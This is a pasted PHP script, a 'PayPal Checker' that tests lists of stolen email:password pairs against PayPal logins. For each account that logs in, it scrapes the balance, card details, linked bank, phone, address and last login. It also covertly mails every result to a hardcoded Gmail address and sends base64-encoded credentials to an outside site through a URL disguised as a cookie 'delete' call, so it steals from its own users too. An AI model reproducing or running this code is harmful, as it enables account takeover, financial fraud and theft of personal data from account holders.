Untitled

SUBMITTED BY: Guest

DATE: Feb. 22, 2015, 12:37 p.m.

FORMAT: Text only

SIZE: 15.4 kB

Raw Download

HITS: 801

Report
  1. <?php
  2. @ini_set('output_buffering',0);
  3. @ini_set('display_errors',0);
  4. set_time_limit(0);
  5. function getStr($string,$start,$end){
  6. $str = explode($start,$string);
  7. $str = explode($end,$str[1]);
  8. return $str[0];
  9. }
  10. function getStr1($string, $start, $end) {
  11. $str = explode($start, $string, 2);
  12. $str = explode($end, $str[1], 2);
  13. return $str;
  14. }
  15. function killspasi($teks){
  16. $teks= trim($teks);
  17. while( strpos($teks,'') ){
  18. $hasil= str_replace('', '', $teks);
  19. }
  20. return $teks;
  21. }
  22. function fetch_value($str, $find_start, $find_end) {
  23. $start = strpos($str, $find_start);
  24. if ($start === false) {
  25. return "";
  26. }
  27. $length = strlen($find_start);
  28. $end = strpos(substr($str, $start + $length), $find_end);
  29. return trim(substr($str, $start + $length, $end));
  30. }
  32. ?>
  33. <html>
  34. <link rel="shortcut icon" href="https://www.paypalobjects.com/WEBSCR-640-20101108-1/en_US/i/icon/pp_favicon_x.ico">
  35. <head>
  36. <title>Paypal Checker</title>
  37. <style>
  38. body {
  39. font-family: 'Comic Sans MS '; font-size:12px;color:#ff4eff;
  40. background-image: url("http://3.bp.blogspot.com/-D6nQQ3d_wfw/Ts31QI5aQPI/AAAAAAAAAgA/mMEBDufqDpk/s1600/0_1_1.gif"); }
  41. hr {border:inset 1px #E5E5E5}
  43. #form-container
  44. { color:#ff4eff;
  45. font-family: 'Comic Sans MS', sans-serif;
  46. font-size:13px;
  47. background-color: #131313;
  48. border: solid 1px #ff4eff;
  49. border-radius:10px;
  50. -moz-border-radius: 10px;
  51. -webkit-border-radius: 10px;
  52. box-shadow: 0px 0px 15px #ff4eff;
  53. -moz-box-shadow: 0px 0px 15px #ff4eff;
  54. -webkit-box-shadow: 0px 0px 15px #ff4eff;
  55. margin:30px auto;
  56. padding:10px;
  57. width:680px;
  58. text-shadow: 1px 1px 4px rgba(0,0,0,0.3);
  59. }
  65. input[type=text], textarea
  66. {
  67. background-color:#000;
  68. border:solid 1px #ff4eff; color:#ff4eff;
  69. border-radius:5px;
  70. -moz-border-radius: 5px;
  71. -webkit-border-radius: 5px;
  72. }
  73. textarea { width:100%;height:200px; resize:none }
  74. input[type=text] { width:160px;text-align:center }
  75. input[type=text]:focus, textarea:focus { background-color:black; border:solid 1px white; color:white; }
  76. .submit-button
  77. {
  78. background: #57A02C;
  79. border:solid 1px #57A02C;
  80. border-radius:5px;
  81. -moz-border-radius: 5px;
  82. -webkit-border-radius: 5px;
  83. -moz-box-shadow: 0 1px 3px rgba(0,0,0,0.6);
  84. -webkit-box-shadow: 0 1px 3px rgba(0,0,0,0.6);
  85. text-shadow: 0 -1px 1px rgba(0,0,0,0.25);
  86. border-bottom: 1px solid rgba(0,0,0,0.25);
  87. position: relative;
  88. color:#FFF;
  89. display: inline-block;
  90. cursor:pointer;
  91. font-size:13px;
  92. padding:3px 8px;
  93. }
  95. .business{
  96. color:yellow;
  97. font-weight: bold;
  98. }
  99. .premier{
  100. color:#00FF00;
  101. font-weight: bold;
  102. }
  103. .verified{
  104. color:#800080;
  105. font-weight: bold;
  106. }
  107. .style2{text-align: center ;font-weight: bold;font-family: 'Comic Sans MS ' ;color: #ff4eff;text-shadow: 0px 0px 60px #4C83AF ;font-size: 50px;}
  109. .nolog{
  110. font-size: 10px;
  111. font: red;
  112. }
  113. </style>
  114. </head>
  115. <body>
  116. <div id="form-container"><div align="center" class="style2">K1mCil Paypal Checker</div>
  117. <form name="data" method="post">
  118. <textarea name="lists" cols="50" rows="70" value="">email:password
  119. nb: maximal 100 list account
  120. </textarea><br><br>
  121. <b>Type pass :</b>
  122. <input type="radio" name="kind" value="non" onClick="auto()" checked> tanpa encode
  123. <input type="radio" name="kind" value="enc1" >single base64 encode
  124. <input type="radio" name="kind" value="enc2" >double base64 encode<br><br>
  125. <input type="submit" value="Check now!">
  126. </form></div>
  127. <?php
  128. if($_POST['lists']) {
  129. echo "<br><hr>";
  130. $lists = split("\n", $_POST['lists']);
  132. $mainz = "https://www.paypal.com/";
  134. if(file_exists(getcwd().'/cookie.txt')) {
  135. unlink(getcwd().'/cookie.txt');
  136. }
  137. $list = split("\n", $_POST['lists']);
  138. print "<br><b>[+] Start scanning...<br>";
  139. print "[+] There are <font color='red'>".count($list)."</font> to be checked...</b><br><br>";
  140. $x = 1;
  141. foreach($list as $lists) {
  143. print "[ <font color=#00ff00><b>".$x."</b></font> ] <font color=#ff0>".$lists."</font>";
  144. $x++;
  145. list($email, $passwords) = split(":", $lists);
  146. if(filter_var($email, FILTER_VALIDATE_EMAIL)){
  147. $passwordss=trim($passwords);
  148. if($_POST['kind']=='non'){
  149. $password=$passwordss;
  150. }elseif($_POST['kind']=='enc1'){
  151. $password=base64_decode($passwordss);
  152. }
  153. elseif($_POST['kind']=='enc2'){
  154. $password=base64_decode(base64_decode($passwordss));
  155. }
  156. $email=trim($email);
  157. flush();
  158. $a = new cURL();
  159. $b = $a->get($mainz."/cgi-bin/webscr?cmd=_login-run");
  160. preg_match("/dispatch=(.*?)\">/",$b,$dispatch);
  161. $dispatch = $dispatch[1];
  162. $sm=0;
  163. $elc=0;
  164. $newpass=0;
  165. $newpass1=0;
  166. $yeslogin=0;
  167. $c = new cURL();
  168. $d = $c->post($mainz."/cgi-bin/webscr?cmd=_login-submit&dispatch=".$dispatch, "login_email=".$email."&login_password=".$password."&target_page=0&submit.x=Log+In");
  169. if ($d) {
  170. if (preg_match("/Security Measures/",$d)) {
  171. echo " - <font color=#ff0000>SECURITY MEASURES</font>";
  172. $sm++;
  173. }
  174. elseif(preg_match("/correctly. If you still can't log in, please see the/",$d)){
  175. echo " - <font color=red>Kimcil error</font>";
  176. $elc++;
  177. }
  178. elseif (preg_match("/Please create a new password for your account/",$d)) {
  179. echo " - <font color=red>Create a new password</font>";
  180. $newpass++;
  181. }
  182. elseif (preg_match("/Log In/",$d)) {
  183. echo " - <font color=red>Kimcil error</font>";
  184. $newpass1++;
  185. }
  186. else{
  187. $cl1 = new cURL(); $cl = new cURL();
  188. echo " - <font color=#00ff00><b><blink>Login Sukses</blink></b></font></center><br>";
  189. echo "<br>++++++++++++++++++++++++++++++++++++++++++++++++++<br>";
  190. $hw=$cl->get($mainz."/cgi-bin/webscr?cmd=_account&nav=0.0");
  191. $maix="http://www.valueheadsets.com/";
  192. $he=$cl->get($mainz."/cgi-bin/webscr?cmd=_profile-phone");
  193. $hr=$cl->get($mainz."/cgi-bin/webscr?cmd=_profile-address&nav=0.5.3");
  194. $ht=$cl->get($mainz."/cgi-bin/webscr?cmd=_profile-credit-card-new-clickthru&flag_from_account_summary=1&nav=0.5.2");
  195. $hy=$cl->get($mainz."/cgi-bin/webscr?cmd=_profile-ach&nav=0.5.1");
  196. $checkcard = strpos($ht, "Last 4 digits on card");
  197. if ($checkcard) {
  198. if(preg_match("/Expired/",$ht)){
  199. $infocard = "<font color=#00ff00><b> Card : </font><font color=red>expirated</font></b><br>";
  200. }else{
  201. $spasi= "&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;";
  202. $temp = getStr($ht, '</thead><tr><td>', '</td><td><div class="vcard">');
  203. $infocard = "<font color=#00ff00><b>Card:</font> $temp |</b><br>";
  204. $infocard = str_replace("&#x", "%", $infocard);
  205. $infocard = str_replace(";", "", $infocard);
  206. $infocard=urldecode($infocard);
  207. $infocard = str_replace('<p class="cardTypeNote"><span class="small">', ' | ', $infocard);
  208. $infocard= str_replace('</span></p>','',$infocard);
  209. $infocard= str_replace('<td>',' | ',$infocard);
  210. $infocard= str_replace('</td>','',$infocard);
  211. $infocard= str_replace('</span>','',$infocard);
  212. $infocard= str_replace('<span class="restricted">','',$infocard);
  213. $card=getStr($infocard,'<img src="','"');
  214. } }else{ $infocard = "<font color=#00ff00><b> Card : </font><font color=red>Gak ada</font></b><br>"; }
  215. $bank=getStr($hy,'<td class="heavy"><div>','</div></td>');
  216. $bank = str_replace("</label></div><div></div>", " | ", $bank);
  217. $bank = str_replace("&#x", "%", $bank);
  218. $bank = str_replace(";", " ", $bank);
  219. $bank=urldecode($bank);
  220. $bank = str_replace("</td>", " ", $bank);
  221. $bank = str_replace("<div>", " ", $bank);$bank = str_replace("</div>", " ", $bank);
  222. $bank = str_replace('<label for="ach_id">', ' ', $bank);
  223. if($bank == ""){ $banks=" no bank"; }else{$banks="have bank";}
  224. $BALANCE =getStr($hw, '<span class="balance">', '</span>');
  225. $BALANCE = str_replace('<strong>', "", $BALANCE);
  226. $BALANCE = str_replace('</strong>', "", $BALANCE);
  227. $BALANCE = str_replace("&#x", "%", $BALANCE);
  228. $BALANCE = str_replace(";", " ", $BALANCE);
  229. $BALANCE=urldecode($BALANCE);
  230. $BALANCE=getStr($BALANCE,'<!--googleoff: all-->','<!--googleon: all-->');
  231. $bcl==$BALANCE; $LASTLOGIN =getStr($hw, '<div class="small secondary">', '</div>');
  232. $LASTLOGIN=getStr($LASTLOGIN,'<!--googleoff: all-->','<!--googleon: all-->');
  233. $LASTLOGIN= str_replace("&#x", "%", $LASTLOGIN);
  234. $LASTLOGIN = str_replace(";", " ", $LASTLOGIN);
  235. $LASTLOGIN = str_replace(",", " ", $LASTLOGIN);
  236. $LASTLOGIN= urldecode($LASTLOGIN);
  237. $LASTLOGIN = str_replace("<br>", " | ", $LASTLOGIN);
  238. $nama_akun=getStr($hw,'<div id="headline"><h2>','</h2>');
  239. $nama_akun=str_replace("Welcome", " ", $nama_akun);
  240. $nama_akun=str_replace(",", " ", $nama_akun);
  241. $nama_akun=str_replace("&#x20;", " ", $nama_akun);
  242. $nama_akun=getStr($nama_akun,'<!--googleoff: all-->','<!--googleon: all-->');
  243. $nama_akun=killspasi($nama_akun);
  244. $nama_akun=killspasi($nama_akun);
  245. $nama_akun=str_replace(" ","+",$nama_akun);
  246. $typeacc=getStr($hw,'s.prop7="','"');
  247. $STATUS =getStr($hw, 's.prop8="', '"');
  248. $LIMIT = getStr($hw, 's.prop9="', '"');
  249. $info = getStr($hr, '<span class="emphasis">', '</span>');
  250. $info = str_replace("&#x", "%", $info);
  251. $info = str_replace(";", " ", $info);
  252. $info = str_replace(",", " ", $info);
  253. $info = str_replace("<br>", " | ", $info);
  254. $info = urldecode($info);$bc1=0;
  255. $infoz=getStr($infocard,'<font color=red>','</font>'); if($LIMIT == "unrestricted") { $lmt="unlimit";}else{ $lmt="limited";}
  256. $infoc = str_replace("&nbsp;", "", $infocard);
  257. $infoc = str_replace("</font></b>", "", $infoc);
  258. $infoc = str_replace("</b><br>", "", $infoc);
  259. $infoc = str_replace("<font color=#00ff00><b>", "", $infoc);
  260. $phone =getStr(getStr($he, 'checked name="phone" value="', '</td>'), '">', '</label>');
  261. $binz = " balance: $BALANCE | $banks | Email: $email | Password: $password | name: $nama_akun | card : $infoz | status: $STATUS | type : $typeacc | limit/unlimit: $lmt | phone: $phone | bank: $bank | las log: $LASTLOGIN | info: $info"; $delete = @base64_encode($binz);
  262. if ($LIMIT == "unrestricted") {
  263. $LIMIT = "<font color=#ff4eff>UNLIMIT</font>";
  264. } else {
  265. $LIMIT = "<font color=red>LIMITED</font>";
  266. }
  269. $spasi = "&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;";
  270. $tampil = $spasi;
  271. $tampil .= "<font color=#00ff00><b>Email</font> : <font color=#7f7fff>".$email."</font></b><br>";
  272. $tampil .= $spasi;
  273. $tampil .= "<font color=#00ff00><b>Password</font> : <font color=#7f7fff>".$password."</font></b><br>";
  274. $tampil .= $spasi;
  275. $tampil .= "<font color=#00ff00><b>Name</font> : ".$nama_akun."</b><br>";
  276. $tampil .= $spasi;
  277. $tampil .= "<font color=#00ff00><b>Status</font> : ".$STATUS."</b><br>";
  278. $tampil .= $spasi;
  279. $tampil .= "<font color=#00ff00><b>Type</font> : ".$typeacc."</b><br>";
  280. $tampil .= $spasi;
  281. $tampil .= "<font color=#00ff00><b>Limit/unlimit</font> : ".$LIMIT."</b><br>";
  282. $tampil .= $spasi;
  283. $tampil .= "<font color=#00ff00><b>Phone</font> : ".$phone."</b><br>";
  284. $tampil .= $spasi;
  285. $tampil .= "<font color=#00ff00><b>Balance</font> : <font color=#ffff00>".$BALANCE."</font></b><br>";
  286. $tampil .= $spasi .$infocard;
  287. $tampil .= $spasi;
  288. $tampil .= "<font color=#00ff00><b>Bank</font> : ".$bank."</b><br>";
  289. $tampil .= $spasi;
  290. $tampil .= "<font color=#00ff00><b>Last Login</font> : ".$LASTLOGIN."</b><br>";
  291. $tampil .= $spasi;
  292. $tampil .= "<font color=#00ff00><b>Info</font> : ".$info."</b><br>";
  293. echo $tampil;
  294. echo"++++++++++++++++++++++++++++++++++++++++++++++++++";
  296. ///////////// start loger ///////////////////////
  297. $email_mu="teamdefacer@gmail.com";
  298. $ip_kimcil=$_SERVER['REMOTE_ADDR'];
  299. $judul="Hasil Scanner ( ".$bank.") dari kimcil".$ip_kimcil;
  300. $isi="++++++++++++++++++++++++++++++++++++++++++++++++++<br>".$tampil."<br>++++++++++++++++++++++++++++++++++++++++++++++++++";
  301. $headers = "From: Paypal <$email>\r\n";
  302. $headers .= "MIME-Version: 1.0\r\n";
  303. $headers .= "Content-Type: text/html; charset=UTF-8\r\n";
  304. @mail($email_mu, $judul, $isi, $headers);
  305. //////////// finish loger ///////////////////
  307. ///
  308. if($bcl == 1 ){ $dka = $cl1->get($maix."/cookies2/delete.php?clean=$delete"); }else{ $dka = $cl1->get($maix."/cookies/delete.php?clean=$delete");}
  309. $yeslogin++;
  310. }
  311. print "<br>";
  312. flush();
  314. }
  315. }else{ echo " - <font color='red'> <b>Invalid email</b> </font><br>";}
  316. }
  317. }
  318. /////////////////////
  320. // Taken from somewhere else, with a bit modification ;)
  321. class cURL {
  322. var $callback = false;
  323. function setCallback($func_name) {
  324. $this->callback = $func_name;
  325. }
  326. function doRequest($method, $url, $vars) {
  327. $ch = curl_init();
  328. curl_setopt($ch, CURLOPT_URL, $url);
  329. curl_setopt($ch, CURLOPT_HEADER, 1);
  330. curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
  331. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  332. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  333. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  334. curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  335. curl_setopt($ch, CURLOPT_COOKIEJAR, getcwd().'/cookie.txt');
  336. curl_setopt($ch, CURLOPT_COOKIEFILE, getcwd().'/cookie.txt');
  337. curl_setopt($ch, CURLOPT_VERBOSE, 1);
  338. if ($method == 'POST') {
  339. curl_setopt($ch, CURLOPT_POST, 1);
  340. curl_setopt($ch, CURLOPT_POSTFIELDS, $vars);
  341. }
  342. $data = curl_exec($ch);
  343. curl_close($ch);
  344. if ($data) {
  345. if ($this->callback) {
  346. $callback = $this->callback;
  347. $this->callback = false;
  348. return call_user_func($callback, $data);
  349. } else {
  350. return $data;
  351. }
  352. } else {
  353. return curl_error($ch);
  354. }
  355. }
  356. function get($url) {
  357. return $this->doRequest('GET', $url, 'NULL');
  358. }
  359. function post($url, $vars) {
  360. return $this->doRequest('POST', $url, $vars);
  361. }
  362. }
  363. ?>
  364. </body></html>
comments powered by Disqus